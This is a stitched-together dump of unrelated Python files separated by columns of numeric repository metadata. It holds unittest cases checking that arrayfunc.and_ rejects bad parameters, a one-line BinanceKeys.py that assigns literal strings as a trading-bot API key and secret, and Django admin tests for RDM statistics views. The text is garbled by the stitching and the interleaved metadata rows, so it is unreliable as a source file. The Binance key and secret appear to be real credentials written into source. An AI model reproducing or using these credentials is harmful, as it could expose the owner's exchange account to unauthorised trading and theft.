########################################################
def test_and__num_array_none_c1(self):
"""Test and_ as *num-array-none* for nosimd='a' - Array code q.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, nosimd='a')
########################################################
def test_and__num_array_array_d1(self):
"""Test and_ as *num-array-array* for nosimd='a' - Array code q.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, self.dataout, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, self.dataout, nosimd='a')
########################################################
def test_and__array_array_none_e1(self):
"""Test and_ as *array-array-none* for nosimd='a' - Array code q.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, nosimd='a')
########################################################
def test_and__array_array_array_f1(self):
"""Test and_ as *array-array-array* for nosimd='a' - Array code q.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, self.dataout, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, self.dataout, nosimd='a')
##############################################################################
##############################################################################
class and__param_errors_Q(unittest.TestCase):
"""Test and_ for invalid array and numeric parameters.
param_invalid_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
testdata1 = [100,101,102,103,104,105,106,107,108,109]
testdata2 = [x for (x,y) in zip(itertools.cycle([0,1,2,3,4,5]), testdata1)]
arraysize = len(testdata1)
self.testarray1 = array.array('Q', testdata1)
self.testarray2 = array.array('Q', testdata2)
self.dataout = array.array('Q', itertools.repeat(0, arraysize))
# Create some data array equivalents with an incompatible type.
self.badarray1 = array.array('d', [float(x) for x in testdata1])
self.badarray2 = array.array('d', [float(x) for x in testdata2])
self.baddataout = array.array('d', [float(x) for x in self.dataout])
########################################################
def test_and__array_num_none_a1(self):
"""Test and_ as *array-num-none* for invalid type of array - Array code Q.
"""
for testvalue in self.testarray2:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(badarray1, testvalue)
########################################################
def test_and__array_num_none_a2(self):
"""Test and_ as *array-num-none* for invalid type of number - Array code Q.
"""
for testvalue, badvalue in zip(self.testarray2, self.badarray2):
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue)
testarray1 = copy.copy(self.testarray1)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testarray1, badvalue)
########################################################
def test_and__array_num_array_b1(self):
"""Test and_ as *array-num-array* for invalid type of array - Array code Q.
"""
for testvalue in self.testarray2:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(badarray1, testvalue, self.dataout)
########################################################
def test_and__array_num_array_b2(self):
"""Test and_ as *array-num-array* for invalid type of number - Array code Q.
"""
for testvalue, badvalue in zip(self.testarray2, self.badarray2):
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
arrayfunc.and_(self.testarray1, testvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.testarray1, badvalue, self.dataout)
########################################################
def test_and__array_num_array_b3(self):
"""Test and_ as *array-num-array* for invalid type of output array - Array code Q.
"""
for testvalue in self.testarray2:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testarray1, testvalue, self.baddataout)
########################################################
def test_and__num_array_none_c1(self):
"""Test and_ as *num-array-none* for invalid type of array - Array code Q.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray2 = copy.copy(self.testarray2)
badarray2 = copy.copy(self.badarray2)
# This version is expected to pass.
arrayfunc.and_(testvalue, testarray2)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, badarray2)
########################################################
def test_and__num_array_none_c2(self):
"""Test and_ as *num-array-none* for invalid type of number - Array code Q.
"""
for testvalue, badvalue in zip(self.testarray1, self.badarray1):
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray2 = copy.copy(self.testarray2)
# This version is expected to pass.
arrayfunc.and_(testvalue, testarray2)
testarray2 = copy.copy(self.testarray2)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(badvalue, testarray2)
########################################################
def test_and__num_array_array_d1(self):
"""Test and_ as *num-array-array* for invalid type of array - Array code Q.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# This version is expected to pass.
arrayfunc.and_(testvalue, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, self.badarray2, self.dataout)
########################################################
def test_and__num_array_array_d2(self):
"""Test and_ as *num-array-array* for invalid type of number - Array code Q.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# This version is expected to pass.
arrayfunc.and_(testvalue, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, self.badarray2, self.dataout)
########################################################
def test_and__num_array_array_d3(self):
"""Test and_ as *num-array-array* for invalid type of output array - Array code Q.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# This version is expected to pass.
arrayfunc.and_(testvalue, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, self.testarray2, self.baddataout)
########################################################
def test_and__array_array_none_e1(self):
"""Test and_ as *array-array-none* for invalid type of array - Array code Q.
"""
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, self.testarray2)
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testarray1, self.badarray2)
########################################################
def test_and__array_array_none_e2(self):
"""Test and_ as *array-array-none* for invalid type of array - Array code Q.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.badarray1, self.testarray2)
########################################################
def test_and__array_array_array_f1(self):
"""Test and_ as *array-array-array* for invalid type of array - Array code Q.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.testarray1, self.badarray2, self.dataout)
########################################################
def test_and__array_array_array_f2(self):
"""Test and_ as *array-array-array* for invalid type of array - Array code Q.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.badarray1, self.testarray2, self.dataout)
########################################################
def test_and__array_array_array_f3(self):
"""Test and_ as *array-array-array* for invalid type of output array - Array code Q.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.testarray1, self.testarray2, self.baddataout)
########################################################
def test_and__no_params_g1(self):
"""Test and_ with no parameters - Array code Q.
"""
with self.assertRaises(TypeError):
arrayfunc.and_()
##############################################################################
##############################################################################
class and__opt_param_errors_Q(unittest.TestCase):
"""Test and_ for invalid maxlen parameter.
param_invalid_opt_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.inpdata1a = [100,101,102,103,104,105,106,107,108,109 ]
self.inpdata2a = [x for (x,y) in zip(itertools.cycle([0,1,2,3,4,5]), self.inpdata1a)]
arraysize = len(self.inpdata1a)
self.testmaxlen = len(self.inpdata1a) // 2
self.outpdata = itertools.repeat(0, arraysize)
self.inparray1a = array.array('Q', self.inpdata1a)
self.inparray2a = array.array('Q', self.inpdata2a)
self.dataout = array.array('Q', self.outpdata)
self.inparray1b = copy.copy(self.inparray1a)
self.inparray2b = copy.copy(self.inparray2a)
########################################################
def test_and__array_num_none_a1(self):
"""Test and_ as *array-num-none* for maxlen='a' - Array code Q.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, maxlen='a')
########################################################
def test_and__array_num_none_a2(self):
"""Test and_ as *array-num-none* for matherrors=True (unsupported option) - Array code Q.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, matherrors=True)
########################################################
def test_and__array_num_array_b1(self):
"""Test and_ as *array-num-array* for maxlen='a' - Array code Q.
"""
# Copy the array so we don't change the original data.
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, self.dataout, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, self.dataout, maxlen='a')
########################################################
def test_and__array_num_array_b2(self):
"""Test and_ as *array-num-array* for matherrors=True (unsupported option) - Array code Q.
"""
# Copy the array so we don't change the original data.
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, self.dataout, matherrors=True)
########################################################
def test_and__num_array_none_c1(self):
"""Test and_ as *num-array-none* for maxlen='a' - Array code Q.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, maxlen='a')
########################################################
def test_and__num_array_none_c2(self):
"""Test and_ as *num-array-none* for matherrors=True (unsupported option) - Array code Q.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, matherrors=True)
########################################################
def test_and__num_array_array_d1(self):
"""Test and_ as *num-array-array* for maxlen='a' - Array code Q.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, self.dataout, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, self.dataout, maxlen='a')
########################################################
def test_and__num_array_array_d2(self):
"""Test and_ as *num-array-array* for matherrors=True (unsupported option) - Array code Q.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, self.dataout, matherrors=True)
########################################################
def test_and__array_array_none_e1(self):
"""Test and_ as *array-array-none* for maxlen='a' - Array code Q.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, maxlen='a')
########################################################
def test_and__array_array_none_e2(self):
"""Test and_ as *array-array-none* for matherrors=True (unsupported option) - Array code Q.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, matherrors=True)
########################################################
def test_and__array_array_array_f1(self):
"""Test and_ as *array-array-array* for maxlen='a' - Array code Q.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, self.dataout, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, self.dataout, maxlen='a')
########################################################
def test_and__array_array_array_f2(self):
"""Test and_ as *array-array-array* for matherrors=True (unsupported option) - Array code Q.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, self.dataout, matherrors=True)
##############################################################################
##############################################################################
class and__opt_nosimd_param_errors_Q(unittest.TestCase):
"""Test and_ for invalid nosimd parameter.
param_invalid_opt_nosimd_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.inpdata1a = [100,101,102,103,104,105,106,107,108,109]
self.inpdata2a = [x for (x,y) in zip(itertools.cycle([0,1,2,3,4,5]), self.inpdata1a)]
arraysize = len(self.inpdata1a)
self.outpdata = itertools.repeat(0, arraysize)
self.inparray1a = array.array('Q', self.inpdata1a)
self.inparray2a = array.array('Q', self.inpdata2a)
self.dataout = array.array('Q', self.outpdata)
self.inparray1b = copy.copy(self.inparray1a)
self.inparray2b = copy.copy(self.inparray2a)
########################################################
def test_and__array_num_none_a1(self):
"""Test and_ as *array-num-none* for nosimd='a' - Array code Q.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, nosimd='a')
########################################################
def test_and__array_num_array_b1(self):
"""Test and_ as *array-num-array* for nosimd='a' - Array code Q.
"""
# Copy the array so we don't change the original data.
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, self.dataout, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, self.dataout, nosimd='a')
########################################################
def test_and__num_array_none_c1(self):
"""Test and_ as *num-array-none* for nosimd='a' - Array code Q.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, nosimd='a')
########################################################
def test_and__num_array_array_d1(self):
"""Test and_ as *num-array-array* for nosimd='a' - Array code Q.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, self.dataout, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, self.dataout, nosimd='a')
########################################################
def test_and__array_array_none_e1(self):
"""Test and_ as *array-array-none* for nosimd='a' - Array code Q.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, nosimd='a')
########################################################
def test_and__array_array_array_f1(self):
"""Test and_ as *array-array-array* for nosimd='a' - Array code Q.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, self.dataout, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, self.dataout, nosimd='a')
##############################################################################
##############################################################################
if __name__ == '__main__':
# Check to see if the log file option has been selected. This is an option
# which we have added in order to decide where to output the results.
if '-l' in sys.argv:
# Remove the option from the argument list so that "unittest" does
# not complain about unknown options.
sys.argv.remove('-l')
with open('af_unittest.txt', 'a') as f:
f.write('\n\n')
f.write('and_\n\n')
trun = unittest.TextTestRunner(f)
unittest.main(testRunner=trun)
else:
unittest.main()
##############################################################################
| 33.830523
| 94
| 0.640265
| 71,686
| 567,710
| 4.961666
| 0.004422
| 0.032099
| 0.02193
| 0.028143
| 0.99693
| 0.99693
| 0.99693
| 0.99693
| 0.99693
| 0.99693
| 0
| 0.014415
| 0.160623
| 567,710
| 16,780
| 95
| 33.832539
| 0.731996
| 0.302676
| 0
| 0.98221
| 0
| 0
| 0.028607
| 0
| 0
| 0
| 0
| 0
| 0.116609
| 1
| 0.127074
| false
| 0
| 0.001345
| 0
| 0.138885
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
8a2a854b7a596634f320cf6b766eade97808f45c
| 168
|
py
|
Python
|
BinanceKeys.py
|
tbschillo/Cryptocurrency-Trading-Bots-Python-Beginner-Advance
|
f00cd9c19ad703b920d0bd40dbd5827b8c3bbee3
|
[
"MIT"
] | null | null | null |
BinanceKeys.py
|
tbschillo/Cryptocurrency-Trading-Bots-Python-Beginner-Advance
|
f00cd9c19ad703b920d0bd40dbd5827b8c3bbee3
|
[
"MIT"
] | null | null | null |
BinanceKeys.py
|
tbschillo/Cryptocurrency-Trading-Bots-Python-Beginner-Advance
|
f00cd9c19ad703b920d0bd40dbd5827b8c3bbee3
|
[
"MIT"
] | null | null | null |
Keys= {'api_key': '44zOwQJtuHN1cEBcq55BEtTyGCYhGvF181u2b00RpzzRIp9EttItaGcJVAIx30cZ', 'api_secret':'OyED2tyZbj4O1PwvJQejVQ1cDxQoVxODY3Z5u4CcsVRABZwBwCQGzoym8mPwZtQm'}
| 84
| 167
| 0.886905
| 7
| 168
| 21
| 0.857143
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.134969
| 0.029762
| 168
| 1
| 168
| 168
| 0.766871
| 0
| 0
| 0
| 0
| 0
| 0.868263
| 0.766467
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
8a3d79b9a07f3e6f4abae2b896945d8f39791bf9
| 14,035
|
py
|
Python
|
admin_tests/rdm_statistics/test_views.py
|
shun-nakazawa/RDM-osf.io
|
cdf0101426e3a3637f76bd7f477897947f163366
|
[
"Apache-2.0"
] | null | null | null |
admin_tests/rdm_statistics/test_views.py
|
shun-nakazawa/RDM-osf.io
|
cdf0101426e3a3637f76bd7f477897947f163366
|
[
"Apache-2.0"
] | 8
|
2018-11-09T05:57:09.000Z
|
2019-07-25T10:27:55.000Z
|
admin_tests/rdm_statistics/test_views.py
|
shun-nakazawa/RDM-osf.io
|
cdf0101426e3a3637f76bd7f477897947f163366
|
[
"Apache-2.0"
] | null | null | null |
# -*- coding: utf-8 -*-
from nose import tools as nt
from django.test import RequestFactory
from tests.base import AdminTestCase
from osf_tests.factories import (
AuthUserFactory,
InstitutionFactory,
)
from admin_tests.utilities import setup_user_view
from admin_tests.rdm_statistics import factories as rdm_statistics_factories
from osf.models.user import Institution
from admin.rdm_statistics import views
class TestInstitutionListViewStat(AdminTestCase):
"""test InstitutionListViewStat"""
def setUp(self):
super(TestInstitutionListViewStat, self).setUp()
self.user = AuthUserFactory()
self.institutions = [InstitutionFactory(), InstitutionFactory()]
self.institution1 = InstitutionFactory()
self.institution2 = InstitutionFactory()
self.user.affiliated_institutions.add(self.institution1)
self.request = RequestFactory().get('/fake_path')
self.view = views.InstitutionListViewStat()
self.view = setup_user_view(self.view, self.request, user=self.user)
def tearDown(self):
super(TestInstitutionListViewStat, self).tearDown()
self.user.affiliated_institutions.remove(self.institution1)
self.user.delete()
for institution in self.institutions:
institution.delete()
def test_super_admin_login(self, *args, **kwargs):
"""test superuser login"""
self.request.user.is_active = True
self.request.user.is_registered = True
self.request.user.is_superuser = True
nt.assert_true(self.view.test_func())
def test_admin_login(self):
"""test institution administrator login"""
self.request.user.is_active = True
self.request.user.is_registered = True
self.request.user.is_superuser = False
self.request.user.is_staff = True
nt.assert_true(self.view.test_func())
def test_non_admin_login(self):
"""test user not superuser or institution administrator login"""
self.request.user.is_active = True
self.request.user.is_registered = True
self.request.user.is_superuser = False
self.request.user.is_staff = False
nt.assert_equal(self.view.test_func(), False)
def test_non_active_user_login(self):
"""test invalid user login"""
self.request.user.is_active = False
self.request.user.is_registered = True
self.request.user.is_superuser = True
self.request.user.is_staff = True
nt.assert_equal(self.view.test_func(), False)
def test_non_registered_user_login(self):
"""test unregistered user login"""
self.request.user.is_active = True
self.request.user.is_registered = False
self.request.user.is_superuser = True
self.request.user.is_staff = True
nt.assert_equal(self.view.test_func(), False)
def test_super_admin_get(self, *args, **kwargs):
"""test superuser GET method"""
self.request.user.is_active = True
self.request.user.is_registered = True
self.request.user.is_superuser = True
self.request.user.is_staff = True
res = self.view.get(self.request, *args, **kwargs)
nt.assert_equal(res.status_code, 200)
def test_admin_get(self, *args, **kwargs):
"""test institution administrator GET method"""
self.request.user.is_active = True
self.request.user.is_registered = True
self.request.user.is_superuser = False
self.request.user.is_staff = True
self.request.user.affiliated_institutions.add(self.institution1)
res = self.view.get(self.request, *args, **kwargs)
nt.assert_equal(res.status_code, 302)
class TestclassStatisticsView(AdminTestCase):
"""test StatisticsView"""
def setUp(self):
super(TestclassStatisticsView, self).setUp()
self.user = AuthUserFactory()
self.institution1 = InstitutionFactory()
self.user.affiliated_institutions.add(self.institution1)
self.request = RequestFactory().get('/fake_path')
self.view = views.StatisticsView()
self.view = setup_user_view(self.view, self.request, user=self.user)
self.view.kwargs = {'institution_id': self.institution1.id}
def tearDown(self):
super(TestclassStatisticsView, self).tearDown()
self.user.affiliated_institutions.remove(self.institution1)
self.user.delete()
self.institution1.delete()
def test_super_admin_login(self):
"""test superuser login"""
self.request.user.is_active = True
self.request.user.is_registered = True
self.request.user.is_superuser = True
nt.assert_true(self.view.test_func())
def test_admin_login(self):
"""test institution administrator login"""
self.request.user.is_active = True
self.request.user.is_registered = True
self.request.user.is_superuser = False
self.request.user.is_staff = True
nt.assert_true(self.view.test_func())
def test_non_admin_login(self):
"""test user not superuser or institution administrator login"""
self.request.user.is_active = True
self.request.user.is_registered = True
self.request.user.is_superuser = False
self.request.user.is_staff = False
nt.assert_equal(self.view.test_func(), False)
def test_non_active_user_login(self):
"""test invalid user login"""
self.request.user.is_active = False
self.request.user.is_registered = True
self.request.user.is_superuser = True
self.request.user.is_staff = True
nt.assert_equal(self.view.test_func(), False)
def test_non_registered_user_login(self):
"""test unregistered user login"""
self.request.user.is_active = True
self.request.user.is_registered = False
self.request.user.is_superuser = True
self.request.user.is_staff = True
nt.assert_equal(self.view.test_func(), False)
def test_non_affiliated_institution_user_login(self):
"""test user unaffiliated institution login"""
self.request.user.is_active = True
self.request.user.is_registered = True
self.request.user.is_superuser = False
self.request.user.is_staff = True
self.view.kwargs = {'institution_id': self.institution1.id + 1}
nt.assert_equal(self.view.test_func(), False)
self.view.kwargs = {'institution_id': self.institution1.id}
def test_get_context_data(self, **kwargs):
"""contextのテスト"""
ctx = self.view.get_context_data(**self.view.kwargs)
nt.assert_is_instance(ctx['institution'], Institution)
nt.assert_equal(ctx['institution'].id, self.institution1.id)
nt.assert_true('current_date' in ctx)
nt.assert_true('user' in ctx)
nt.assert_true('provider_data_array' in ctx)
nt.assert_true('token' in ctx)
class TestImageView(AdminTestCase):
"""test ImageView"""
def setUp(self):
super(TestImageView, self).setUp()
self.user = AuthUserFactory()
self.request = RequestFactory().get('/fake_path')
self.institution1 = InstitutionFactory()
self.user.affiliated_institutions.add(self.institution1)
self.rdm_statistics = rdm_statistics_factories.RdmStatisticsFactory.create(institution=self.institution1, provider='s3', owner=self.user)
self.rdm_statistics.save()
self.view = views.ImageView()
self.view = setup_user_view(self.view, self.request, user=self.user)
self.view.kwargs = {'graph_type': 'ext'}
self.view.kwargs = {'provider': 's3'}
self.view.kwargs = {'institution_id': self.institution1.id}
def tearDown(self):
super(TestImageView, self).tearDown()
self.user.affiliated_institutions.remove(self.institution1)
self.user.delete()
self.institution1.delete()
self.rdm_statistics.delete()
def test_super_admin_login(self):
"""test superuser login"""
self.request.user.is_active = True
self.request.user.is_registered = True
self.request.user.is_superuser = True
nt.assert_true(self.view.test_func())
def test_admin_login(self):
"""test institution administrator login"""
self.request.user.is_active = True
self.request.user.is_registered = True
self.request.user.is_superuser = False
self.request.user.is_staff = True
nt.assert_true(self.view.test_func())
def test_non_admin_login(self):
"""test user not superuser or institution administrator login"""
self.request.user.is_active = True
self.request.user.is_registered = True
self.request.user.is_superuser = False
self.request.user.is_staff = False
nt.assert_equal(self.view.test_func(), False)
def test_non_active_user_login(self):
"""test invalid user login"""
self.request.user.is_active = False
self.request.user.is_registered = True
self.request.user.is_superuser = True
self.request.user.is_staff = True
nt.assert_equal(self.view.test_func(), False)
def test_non_registered_user_login(self):
"""test unregistered user login"""
self.request.user.is_active = True
self.request.user.is_registered = False
self.request.user.is_superuser = True
self.request.user.is_staff = True
nt.assert_equal(self.view.test_func(), False)
def test_non_affiliated_institution_user_login(self):
"""test user unaffiliated institution login"""
self.request.user.is_active = True
self.request.user.is_registered = True
self.request.user.is_superuser = False
self.request.user.is_staff = True
self.view.kwargs = {'institution_id': self.institution1.id + 1}
nt.assert_equal(self.view.test_func(), False)
self.view.kwargs = {'institution_id': self.institution1.id}
class TestSendView(AdminTestCase):
"""test SendView"""
def setUp(self):
super(TestSendView, self).setUp()
self.user = AuthUserFactory()
self.request = RequestFactory().get('/fake_path')
self.user = AuthUserFactory()
self.institution1 = InstitutionFactory()
self.user.affiliated_institutions.add(self.institution1)
self.view = views.SendView()
self.view = setup_user_view(self.view, self.request, user=self.user)
self.view.kwargs = {'institution_id': self.institution1.id}
def tearDown(self):
super(TestSendView, self).tearDown()
self.user.affiliated_institutions.remove(self.institution1)
self.user.delete()
self.institution1.delete()
def test_super_admin_login(self):
"""test superuser login"""
self.request.user.is_active = True
self.request.user.is_registered = True
self.request.user.is_superuser = True
nt.assert_true(self.view.test_func())
def test_admin_login(self):
"""test institution administrator login"""
self.request.user.is_active = True
self.request.user.is_registered = True
self.request.user.is_superuser = False
self.request.user.is_staff = True
nt.assert_true(self.view.test_func())
def test_non_admin_login(self):
"""test user not superuser or institution administrator login"""
self.request.user.is_active = True
self.request.user.is_registered = True
self.request.user.is_superuser = False
self.request.user.is_staff = False
nt.assert_equal(self.view.test_func(), False)
def test_non_active_user_login(self):
"""test invalid user login"""
self.request.user.is_active = False
self.request.user.is_registered = True
self.request.user.is_superuser = True
self.request.user.is_staff = True
nt.assert_equal(self.view.test_func(), False)
def test_non_registered_user_login(self):
"""test unregistered user login"""
self.request.user.is_active = True
self.request.user.is_registered = False
self.request.user.is_superuser = True
self.request.user.is_staff = True
nt.assert_equal(self.view.test_func(), False)
def test_non_affiliated_institution_user_login(self):
"""test user unaffiliated institution login"""
self.request.user.is_active = True
self.request.user.is_registered = True
self.request.user.is_superuser = False
self.request.user.is_staff = True
self.view.kwargs = {'institution_id': self.institution1.id + 1}
nt.assert_equal(self.view.test_func(), False)
self.view.kwargs = {'institution_id': self.institution1.id}
def test_valid_get(self, *args, **kwargs):
"""test valid GET method"""
res = self.view.get(self.request, *args, **self.view.kwargs)
nt.assert_equal(res.status_code, 200)
def test_invalid_get(self, *args, **kwargs):
"""test invalid GET method"""
self.view.kwargs = {'institution_id': 100}
res = self.view.get(self.request, *args, **self.view.kwargs)
nt.assert_equal(res.status_code, 200)
class TestCreateCSV(AdminTestCase):
"""test ImageView"""
def setUp(self):
super(TestCreateCSV, self).setUp()
self.user = AuthUserFactory()
self.request = RequestFactory().get('/fake_path')
self.institution1 = InstitutionFactory()
self.user.affiliated_institutions.add(self.institution1)
self.kwargs = {'institution_id': self.institution1.id}
self.rdm_statistics = rdm_statistics_factories.RdmStatisticsFactory.create(institution=self.institution1, provider='s3', owaner=self.user)
self.rdm_statistics.save()
def tearDown(self):
super(TestCreateCSV, self).tearDown()
self.user.affiliated_institutions.remove(self.institution1)
self.user.delete()
self.institution1.delete()
| 40.799419
| 146
| 0.676238
| 1,720
| 14,035
| 5.339535
| 0.061047
| 0.131751
| 0.164961
| 0.1777
| 0.854094
| 0.833188
| 0.807382
| 0.794534
| 0.794534
| 0.794534
| 0
| 0.005068
| 0.212683
| 14,035
| 343
| 147
| 40.918367
| 0.826063
| 0.074385
| 0
| 0.787879
| 0
| 0
| 0.022846
| 0
| 0
| 0
| 0
| 0
| 0.125
| 1
| 0.143939
| false
| 0
| 0.030303
| 0
| 0.193182
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
